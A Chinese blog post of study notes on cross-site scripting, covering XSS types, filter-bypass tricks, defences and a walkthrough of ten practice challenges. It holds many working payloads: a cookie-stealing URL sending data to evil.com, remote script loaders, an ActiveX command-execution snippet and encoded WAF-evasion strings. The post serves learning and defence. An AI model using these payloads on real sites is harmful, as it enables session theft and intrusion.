Web学习笔记 之 XSS

指令、数据

  Web世界是由数据构成的,而存储、传输、展示出这些数据则需要指令的执行。合适的指令在合适的环境下解释执行,从而产生合适的数据内容。比如select username,email from user where id = 1;,这是一条SQL查询指令,当这条指令被数据库引擎解释执行时就会产生一组数据,内容由username、email构成。再如<script>eval(location.hash.substr(1));</script> <script></script>标签内是一句JavaScript指令,由浏览器的JS引擎来解释执行,解释的结果就是数据。而它本身则是一个HTML标签,由浏览器的DOM引擎渲染执行。

  如果指令和数据完全独立,那显然是太平盛世,然而如果正常的输入数据被注入了指令,并且在解释的过程中指令还被独立执行了,那么攻击就发生了。

  如果www.evil.com/info.html的代码内容为``

  我们构造如下链接http://www.evil.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)

  那么浏览器就会解释执行eval(locaion.hash.substr(1));变为eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')

  当被攻击者被诱骗点了该链接时,Cookies会话信息就会被传到黑客网站上。

  攻击的发生,是因为通过url注入了一段恶意的指令,并且该指令能被执行。

同源策略

  同源策略有几个关键词:不同域、客户端脚本、授权、读写、资源。

  同域要求两个站点同协议、同域名、同端口。

  授权:HTML5新标准中提到关于AJAX跨域访问默认情况下是不允许的,只有目标站点明确的返回HTTP响应头:Access-Control-Allow-Origin: http://www.evil.com

  资源:包括HTTP消息头、整个DOM树、浏览器存储等

  DOM:全称Document Object Model,即文档对象模型,就是浏览器将HTML/XML这样的文档抽象成一个树形结构,树上的每一个节点都代表HTML/XML中的标签、标签属性或标签内容。

URL

  url有个重点就是编码方式,有三类:escape、encodeURI、encodeURIComponent,对应的解码函数是:unescape、decodeURI、decodeURIComponent。

XSS

  XSS全称为跨站脚本(Cross Site Scripting)。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

  很多时候输入的内容长度是有限制的。真正的XSS弹窗毫无意义,所以攻击代码可能会比较长,一般注入类似的下面的引用第三方域上的脚本<script>src="http://www.evil.com/xss.js"></script>

反射型 XSS

  发出请求时,XSS代码出现在URL中,作为输入提交到服务器,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行。这个过程就像是一次反射,故称为反射型XSS。

  一个简单的例子,在http://www.foo.com/xss/reflect1.php代码如下`,输入的x的值未经任何过滤就直接输出,可以提交:http://www.foo.com/xss/reflect1.php?x=,服务端解析时,echo就会完整地输出`到响应体中,然后浏览器解析执行触发。【彩蛋哈哈】

存储型 XSS

  存储型XSS和反射型XSS的差别仅在于;提交的XSS代码会存储在服务端,下次请求目标页面时不用再提交XSS代码,最典型的例子是留言板XSS。

  除了留言板,如果服务端有一些记录ip的的功能甚至可以用X-Forwarded-For打XSS,见信呼OA存储型XSS 0day复现

DOM型 XSS

  DOM型 XSS与反射型、存储型的差别在于,DOM型 XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事。

  知乎上也有一种说法:DOM型XSS取决于输出位置,并不取决于输出环境,简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。DOM型XSS是通过url传入参数去控制触发的。

  然后问了一些Web师傅,他们的回答是,把DOM型XSS看作是反射型XSS的一种,是在前端实现的。所以DOM型和反射型XSS都只能自己日自己,都是需要与人交互才能产生效果。

实例

来源:记一次从DOM型XSS到RCE过程

打开主页会调用index.js文件

img

可以看到代码会用getParam函数接受提交过来的platform参数,处理后直接传给eval

再跟进getParam函数

1
2
3
4
5
6
7
8
9
// 用正则表达式获取地址栏参数
function getParam(paramName) {
paramValue = "", isFound = !1;
if (this.location.search.indexOf("?") == 0 && this.location.search.indexOf("=") > 1) {
arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0;
while (i < arrSource.length && !isFound) arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() && (paramValue = arrSource[i].split("=")[1], isFound = !0), i++
}
return paramValue == "" && (paramValue = null), paramValue
}

这里并没有做任何过滤,所以我们的参数值是完整的被返回过来的。这里就造成了代码执行。

payload:http://xxx.xxx.xxx.xxx/?platform=alert(“xss”),执行效果

img

RCE执行-payload

1
2
var o = new ActiveXObject("WScript.Shell");
o.run(“calc.exe”);

为了美观,我们对代码进行编码,编码后代码如下(头尾两个回车符)

1
String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10)

然而浏览器的安全机制默认禁止使用activex控件,所以。还得利用一些浏览器的漏洞来绕过。

场景(HTML)

  XSS涉及的场景很广,出现在支持HTML解析和JavaScript解析的客户端软件、页面上。在触发XSS时我们需要关注输入点与输出点,这里我们先假设有一个id=1的输入点,针对不同的输出点,我们的利用方式则是不同的。

· HTML标签之间,比如:出现在<div id="body”>[输出]</div>位置

· HTML标签之内,比如:出现在<input type="text” value = "[输出]"/>位置

· 成为JavaScript代码的值,比如:<script>a="[输出]",...</script>位置

· 成为CSS代码的值,比如:<style>body{font-size:[输出]px;...}</style>位置

1. HTML标签之间

  最普通的出现在<div id="body”>[输出]</div>位置,那么提交id=1<script>alert(1)</script>就可了,但是在<title><textarea><xmp><iframe><noscript><noframes><plaintext>标签里面就不行,因为这些标签内无法执行脚本,我们得先将这些标签给闭合。另外,<script><style> 是不能嵌套标签的。

2. HTML标签之内

  最普通的场景出现在<input type="text” value = "[输出]"/>,要触发XSS有一下两种方法

”onmouserover=alert(1)x=”,这种是用双引号闭合属性,然后用on事件来触发脚本。【这种触发成功率更高】

"><script>alert(1)</script>,这种是先用双引号闭合属性,然后用尖括号又闭合了标签,然后直接执行脚本 【这种利用效果好】

  换一种场景:<input type="hidden" value="[输出]" />,一般情况下,此时我们只能闭合input标签,否则由于hidden特性导致触发不了XSS,但如果是这种语句<input value="[输出]" type="hidden"/>,仅仅是调换了两个属性的位置,我们则可以用这样一条payload:1" onmouserover=alert(1) type = "text

  输出后变为<input value="1" onmouserover=alert(1) type = "text" type="hidden"/>,这样输出的就是一个标准的输入框,而不是一个隐藏的表单(hidden被text插队了)

  另外两种场景:

输出在src/href/action等属性内,比如<a href = "[输出]”>click me</a>

这里我们除了各种闭合外,还可以:

javascript:alert(1)//

data:text/html;base64,PHNjcm1wdD5hbGVydCgxKTwvc2NyaXB0Pg==

这里有一个前提是我们提交的payload必须出现在这些属性值的开头(data协议必须作为整个属性值出现)

  输出在on事件内:

由于on事件内是可以执行JavaScript脚本的,根据不同场景,我们需要弄清楚我们的输入是作为整个on事件出现,还是以某个函数的参数值出现、这个函数又是什么等。因为根据不同的场景我们可能需要不同的闭合策略。

最简单的场景就是:<a href="#" onclick ="eval('输出')">click me </a>

DOM渲染

HTML与JavaScript自解码机制

  当一段JavaScript代码出现在HTML标签内,那么这里的JavaScript可以进行HTML形式的编码:进制编码(十进制、十六进制),HTML实体编码。例如:

<input type="button” id = "exec_btn” value="exec” onclik="x='&lt;img src = @ onerror=alert(123) /&gt;';alert(x);document.write(x)” />

  但是如果用户输入出现在<script>标签内,这段内容要遵守的就是JavaScript的法则,即JavaScript编码:Unicode形式:\uH(十六进制);普通十六进制(\xH);纯转义:(在特殊字符前面加\进行转义。)

  另外,在<textarea><title><iframe><noscript><noframes><xmp>这几个标签中HTML也是不解析的。<plaintext>则在Firefox下不解析,在Chrome下就会。

XSS过滤与绕过

参考前端Hack之XSS攻击个人学习笔记

空格、回车和tab

  对XSS-Filter而言,如果仅仅是将函数加入黑名单,那么可以在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是由于在JavaScript中只会将;作为语句的终止符,当浏览器引擎解析JavaScript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字JavaScript|alert的过滤:

1
2
3
<img src=javasc
ript:aler
t(/xss/)>

对标签属性值进行转码

<img src="javascript:alert('xss');"> => <img src="javascrip&#116&#58alert('xss');">

由于我们的输入出现在<img>标签内,所以可以进行实体编码来绕过过滤。

使用CSS绕过

利用CSS样式表可以执行JavaScript的特性,如

CSS直接执行JavaScript:

1
2
3
4
5
<div style="background-image:url(javascript:alert('xss'))">

<style>
body {background-image:url("javascript:alert('xss')");}
</style>

CSS中使用expression执行JavaScript:

1
2
3
4
5
6
7
<div style="width: expression(alert('xss'))">

<img src="#" style="xss:expression(alert(/xss/))">

<style>
body {background-image:expression("alert('xss')");}
</style>

还可以利用@import直接执行JavaScript代码

1
2
3
<style>
@import 'javascript:alert("xss")';
</style>

  在现实环境下,HTML页面中的CSS与Javascript的嵌入方式很相似,且CSS也可以执行JavaScript代码,故我们的XSS代码也可以通过嵌入远程恶意CSS文件来进行XSS攻击。

扰乱规则

· 大小写变换;
· 利用expression执行跨站代码的时候,可以构造不同的全角字符来扰乱过滤规则;
· 结合样式表注释字符/**/,通过CSS执行JavaScript
· 样式标签会过滤\和\0,可以构造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'绕过
· CSS关键字进行编码处理,如<p style="xss:\0065xpression(alert(/xss/))">其中65为字母e进行unicode编码后的数字部分
· 利用浏览器解析注释的问题

利用字符编码

JavaScript支持许多的编码格式,如:unicode、escapes、十六|十|八进制

1
2
3
4
5
6
7
JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >

一个python写的编码小脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from urllib.parse import quote,unquote
def hexlify(s):
tmp=''
for i in s:
tmp+='\\x'+hex(ord(i))[2:].rjust(2,'0')
return tmp

def html(s):
tmp = ''
for i in s:
tmp += '&#' + str(ord(i))+';'
return tmp

def octlify(s):
tmp = ''
for i in s:
tmp += '\\' + oct(ord(i))[2:]
return tmp

def tx(s):
return str(int(s,36))

def uu(s):
tmp = ''
for i in s:
tmp += '\\u' + hex(ord(i))[2:].rjust(4,'0')
return tmp
#s = (input("input the words you want exchange(only letters and numbers):\n"))
s='alert'
print("八进制:"+octlify(s))
print("十六进制:"+hexlify(s))
print("实体编码:"+html(s))
print("36为基数:"+tx(s)+"..toSting(36)")
print("\\u形式:"+uu(s))

编码 alert,输出

image-20200716105441101

拆分与编码

1
2
3
4
<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
parseInt()与toString()

img

img

可以用parseInt将alert以基数为30转化为数字 8680439

img

用toString()函数将 8680439 以30为基数转成字符串alert

img

再结合on事件和Top属性 payload:ontoggle=top[8680439..toString(30)]('xss');

和Top属性类似的还有self、parent、frames、content、window,但top是最短的了。

【以30为基数的时候有一些字母不能表示,所以建议以36为基数】

其它技巧

1
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>

这个例子很巧妙,将alt和lang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。

除了拼alert,拼eval用处更大些,有了eval,后面的东西转码什么的也很方便

1
2
3
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

setTimeout()函数也是没问题的,毕竟也能执行代码。

1
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
setTimeout&setInterval

setTimeout在延时一定时间后执行code一次

1
<svg/onload=setTimeout`alert\u0028233\u0029`>

setInterval以一定时间为周期执行code

1
<svg/onload=setInterval('al'%2b'ert(1)')>

绕过waf,引用外部js

1
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
结合函数:
1
2
3
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >
constructor

img

image-20200716090526633

image-20200716090613857

1
<svg/onload=Set.constructor('al'%2b'ert(1)')()>

payload:

1
2
3
4
5
6
7
8
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>
//后面两个``相当于(),是对函数的引用,是否可以用来绕过那些过滤括号的waf呢?

防御

输入

​ 严格控制用户可输入的范围,如手机号只能输入数字且长度不能大于11位等,如需输入某些敏感字符的情况下可对数据进行转义处理,对于用户数据的过滤尽可能地采用白名单而不是黑名单。

输出

​ 减少不必要的输出,在需要输出的地方使用HTML编码将敏感字符转义为实体符,JavaScript进行DOM操作时注意不要将已转义的实体符再次解析成DOM对象。

其他

​ 设置HttpOnly,开启WAF。

一些BAT的XSS实例(修改而来的XSS题目)

第一关

http://px1624.sinaapp.com/test/xsstest1/

1
2
3
4
5
6
<script type="text/javascript">
var x=location.hash;
function aa(x){};
setTimeout("aa('"+x+"')",100);
</script>
Give me xss bypass 1~

这应该是一个DOM XSS,我们只需要对前面的括号进行闭合即可弹窗

payload:http://px1624.sinaapp.com/test/xsstest1/#');alert('123

第二关

http://px1624.sinaapp.com/test/xsstest2/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script src="./jquery-3.4.1.min.js"></script>
Give me xss bypass 2~
<div style='display:none' id='xx'><img src=x onerror=alert(1)></div>
<input type='button' value='test' onclick='alert("哈哈,点这玩意没啥用的!")'>
<body>
<script>
var query = window.location.search.substring(1);
var vars = query.split("&");
if(vars){
aa(vars[0],vars[1])
}
function aa(x,y){
$("#xx")[x]($("#xx")[y]());
}
</script>
</body>
</html>

这里首先它获取了我们请求的参数,用&分割获取变量,然后将这两个变量传到函数aa中执行,函数aa对id为xx的标签进行了两次dom操作

这里,$("#xx")['text']()的结果会是"<img src=x onerror=alert(1)>"

所以这里的payload:http://px1624.sinaapp.com/test/xsstest2/?append&text

于是xx标签就会加上一个xx的text形式

image-20200714164426445

从而触发弹窗。

第三关

http://px1624.sinaapp.com/test/xsstest3/

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '';
if (px != "") {
$('xss').val('');
}
})
</script>

这里因为源码里的php代码没有显示,所以要猜变量名,这里猜出来用的变量名时px。然后我们传一个px=alert(1),返回

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = 'alert(1)';
if (px != "") {
$('xss').val('alert(1)');
}
})
</script>

发现传入的是字符串,于是我们用引号闭合两边,再用运算符拼接一下即刻触发弹窗

payload:http://px1624.sinaapp.com/test/xsstest3/?px=%27-alert(1)-%27

返回:

image-20200716174703421

第四关

http://px1624.sinaapp.com/test/xsstest3/

第四关在第三关的基础上过滤了运算符,但在js中,in,instanceof也属于运算符,所以可以用这两个进行绕过

但这一题的预期解是用的模板字符串。

payload:http://px1624.sinaapp.com/test/xsstest4/?px=%27;`;{alert(%271

返回

image-20200716174741196

两次同步输入导致中间的代码都变成了模板字符串。

第五关

http://px1624.sinaapp.com/test/xsstest5/user.php?callback=Give%20me%20xss%20bypass~

这一关进去就重定向到了user.php,发现url上有一个callback参数,

源码只有

1
2
3
4
5
6
7
<html>
<head>
</head>
<body>
<pre style="word-wrap: break-word; white-space: pre-wrap;">Give me xss bypass~</pre>
</body>
</html>

所以输入点就是callback了,输出点在<pre>标签间,<pre>标签中的其他标签都会被实体编码,所以这里无法闭合标签。

然后因为是重定向过来的,所以把重定向给拦了可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<script src="../jquery-3.4.1.min.js"></script>
<Script src="./index.js"></Script>
<head>
<script type="text/javascript">
var orguin = $.Tjs_Get('uin');
var pagenum= $.Tjs_Get('pn');
if(orguin<=0) window.location="./user.php?callback=Give me xss bypass~";
document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/'+orguin+'?'+pagenum+'"><\/script>');
</script>
</head>
<body>
Give me xss bypass 5~
</body>
</html>

其中Tjs_Get函数在index.js中,主要是获取url参数用的。

所以payload:http://px1624.sinaapp.com/test/xsstest5/?uin=test/xsstest5/user.php&pn=callback=alert(1)

返回

image-20200716174808888

因为http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)这个文件内容只有alert(1),被JS引擎解释执行后于是产生弹窗。

第六关

http://px1624.sinaapp.com/test/xsstest6

相比第五关,可控的参数只有一个了,少了问号,并且过滤了问号和百分号,这就阻止了url编码

这里是用的js里替换了%

image-20200717132954073

但这里匹配?用的是正则,和.*一起,而在js的正则里 点 匹配除了换行符以外的任意字符,并且匹配到换行符以后就会返回了,不会继续匹配下去。所以换行符应该就是突破点了,可是在url里换行符得用编码%0a表示,可%又被过滤了,套娃?!。这里出题人指出,表示换行符并不只%0a,这里指出换行符还可以用\u000A,\u000D,\u2028和 \u2029表示

于是测试payload:location="http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=alert()",这里不能直接在url上输入,不然\u2028会被认为是字符串,所以只能在控制台打。然而我依旧没有成功(作者原话:得用老版Chrome或者IE,新版的Chorme对location.hash的特殊字符也进行了URL编码,所以导致\u2028和\u2029这种换行符的解析失效,从而不能用。)

最后这里第六关的user.php还对参数的值的长度做了要求,刚好无法弹1;

这里绕过的方法一个是用第五关的user.php,另一个方法,作者是用的name传参,利用iframe去这样构造

1
2
3
4
<iframe id = "px" name = "<img src=x onerror=alert(1)>" src=""></iframe>
<script>
document.getElemntById("px").src="http://px1624.sinaapp.com/test/xsstest6/#?\u2028uin=../test/xsstest6/user.php?callback=${name}";
</script>

第七关

http://px1624.sinaapp.com/test/xsstest7

输入点是px,输出点位于<script>标签间,但是会对特殊符号进行转义。经测试并没有对反斜杠进行转义,所以可以用反斜杠把它的反斜杠给过滤掉,从而逃逸出单引号,

1
2
3
4
?px=\'-alert(1)-
<script>
var px='\\'-alert(1)-';
</script>

但是后面那个单引号则没有办法,

因为这里也有同步输出,所以想用第四题那种模板字符串,但是这里一个输出在js中,一个在html中,所以失败

image-20200715110011446

这里要用到一个<script>标签的特性

参考https://www.dazhuanlan.com/2019%2F10%2F25%2F5db1e6beea817/

HTML5解析器在标签<script></script>中解析到<!--时候,会进入到dash dash escaped state,哪怕是<script>出现在js的字符串中。

大概意思就是在script标签里如果遇到<!--,那么这个的解析优先级会变成最高,如果这个后面再出现<script>标签,那么最近的另一个</script>标签就会优先去闭合这个。

于是我们输入?px=<!--<script%20>,因为>会被转义,所以我们前面打一个空格,<!--<script%20>被转义为\<!--\<script%20\>,根据js的特性,这等于\<!--\<script%20\=''>,\被认为是一个属性了,值是空,所以这个<script>标签被解析。

于是该字符串下方的</script>则被用来闭合我们的输入

image-20200715111558811

这样两次同步输出都在js中了,于是这里使用模板字符串,用运算符拼接字符串

payload:

1
http://px1624.sinaapp.com/test/xsstest7/?px=\%27-`-alert(1)//%3C!--%3Cscript%20%3E;

返回

image-20200715113149100

第八关

http://px1624.sinaapp.com/test/xsstest8/

第八关较第七关,输入点多了一个px1624

同样也是同步输出,除去两个在<script>标签里的输出点,一个在<div>标签间,一个是<input>标签的value值,但是px1624的值就是px的值

image-20200715113615191

输出点出现在value处,首先想到的是闭合双引号,然后用on事件触发弹窗,然而这里对双引号做了过滤,所以这里还是要跳出<script>标签,

首先用 http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3Cscript%20%3E跳出

image-20200715133932290

个人理解:这里第一个<!--遇到了<script>,随后优先级变高,紧跟着下面的那个<!--就直接被无视了,然后遇到了下面的</script>,直接拿了过来,优先级回落,然后最后一行又出现了<!--<script >,但是后面已经没内容了,随后浏览器进行DOM渲染, 补上了</script>

最终payload:http://px1624.sinaapp.com/test/xsstest8/?px=%3C!--%3C/script%3E%3Cscript%20%3Ealert(1)%3C/script%3E

</script>开头,在<!--遇到<script>后被提升的优先级回落后【优先级回落前,遇到的第二个<!--<script>并不能起到作用】,立刻闭合最前面的<script>标签,随后自己再补上一个<script>alert(1)</script>进行弹窗,这里是第四个输出点,并没有被编码or转义,故弹窗成功。

返回

image-20200715142513727

第九关

http://px1624.sinaapp.com/test/xsstest9/

同样四个输出点,但是下面都做了一个html实体编码,因此用第八题的payload我们没法主动去闭合第一个<script>标签,更没法弹窗了

image-20200716140504739

所以这里的思路,只要在<script>标签中写入alert(1)就能弹窗了,这里应该要用到字符串与运算符间的拼接,然后要利用到模板字符串。当然,用<--!跳出<script>也是必不可少的一个步骤。(注意到,其实第三个和第四个输出点是由长度限制的,我们可以用这个长度限制来解决一些问题。

最终的payload:

1
http://px1624.sinaapp.com/test/xsstest9/?px=a\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E

返回:

image-20200716145039824

从下面两个输出点看起的话可以发现,这里没有对/进行转义,所以可以注释后面的一个标签。然后由于多余的`都被截断了,这里刚好剩下两个,可以用来闭合上面多出来的。而上面连续的两个`则用嵌套的方式隔开。由于同步输出,所以第一行后半部分也会有两个`,也正好对应前面两个`。

对于构造步骤:

首先是想在前面独立出一个alert(1),

image-20200716152142498

类似这样,但这需要后面都被模板字符串包裹,测试过很多种,都没有成功实现。

于是想着在最后独立出一个alert(1),后面的标签可以注释掉。又因为同步输出的问题,一行里的`的个数得是一个奇数才能达到一个逃逸的效果;但如果是偶数的话,利用嵌套,也可以达到跨行闭合的效果。而嵌套我们用对象,是{a:`${`的形式,所以得有一个`}来闭合{`,然后还得有一个}来闭合{,所以前半段得出现`}和},既然有了},那也得个{来闭合。于是就有了{a:`}xxxx}的形式,再补上一个`,变成{a:`}xxxx`},这样这一段就是独立的了,并且补上的这个`也闭合了之前嵌套的`,再插入一个alert(1),就有了下面的payload。

image-20200716154041206

这样子上半部分就配合的很好了,至于下面,`出现了四次,我们可以在前面填充下,就能抹去多余的两个`,从而实现弹窗

image-20200716154225875

这一关可能思路不是很顺,因为payload也不是自己测出来的,是对出题人给的payload的理解。

第十关

http://px1624.sinaapp.com/test/xsstest10/

相较于第九关,这一关的第三个输出点长度只输出两位,第四个输出点不限制长度

由于只有两个字符,所以`}大概是比较有用的,我们把这个放在第九关payload的最前面

返回

image-20200716161451024

提前闭合了,于是,想着再嵌套一层?刚好也多了两层`},这样最后一行的alert(1)就可以出来了

payload

1
http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//`}-{a:`${`${`%3C!--%3Cscript%20%3E//

返回

image-20200716161840912

总结

这里是对这几个关卡的知识点的简单总结叭

第一关是一个简单的DOM型XSS,这里只需要进行一个简单的闭合操作就可,然后用到的取参函数是location.hash,所以对JavaScript需要有一定的熟悉。

第二关是考点是一个dom操作

第三关除了闭合外,还有JavaScript的字符串与运算符相关的知识:由于JavaScript是个弱类型,所以字符串之间也可以进行运算操作,也可以拿来做一种变相的拼接

第四关出现了字符型的运算符以及模板字符串相关的知识点,不过模板字符串一般需要至少两个可控输出点

第五关有一个重定向的小坑,不过问题不大。这里主要也是因为对参数过滤的不严格导致的xss,然后考点也是对输入点间的相互配合以达到利用效果叭

第六关主要利用的是Js的正则表达式、换行符相关的基础知识,以及对服务端其他文件的一些利用(比如用了第五关的user.php)

第七关是对<!-- <script>以及模板字符串性质的利用,这些运用也都有在后面的关卡出现

第八关有四个同步输出点了,这一关的利用难度也提升了一个档次,同时也让我们对<!-- <script>有了更深层次的理解。

第九关在第八关的基础上对后面两个输出点进行了编码,所以我们无法像第八关一样闭合前面的<script>,再自己写一个<script>alert(1)</script>来弹窗,只能在他给好的<script>标签间进行弹窗。这里用到了JavaScript的嵌套相关的性质

第十关在第九关的基础上对后面两个输出点的长度做了限制,这里过关的paylaod与第九关相比就是用到了更多一层的嵌套。

  其实这里十关做下来,并没有用到XSS特殊的bypass姿势,主要还是对JavaScript的一些基础性质做了详细的了解学习,毕竟这里也都是一些反射型、DOM型XSS,可能在实际的漏洞挖掘中并没有很大的用处,利用起来也相对困难(很多厂商也不收),但对于我这个初学者来说还是受益良多。

总结

  总的来看,在应用上,存储型XSS > DOM型XSS ≈反射型XSS。为什么这么说?因为存储型XSS最持久,而且更为隐蔽,因为是存在数据库当中的,触发的url当中没有带js或者其他的html代码。然后反射型XSS和DOM型XSS,因为它们都需要在url中加入js代码才能够触发,所以需要与人交互钓鱼才能产生效果,否则也只能是自己日自己。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 643713081@qq.com

文章标题:Web学习笔记 之 XSS

文章字数:7.8k

本文作者:Van1sh

发布时间:2020-07-26, 10:44:00

最后更新:2020-07-26, 11:33:15

原始链接:http://jayxv.github.io/2020/07/26/Web学习笔记 之 XSS/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏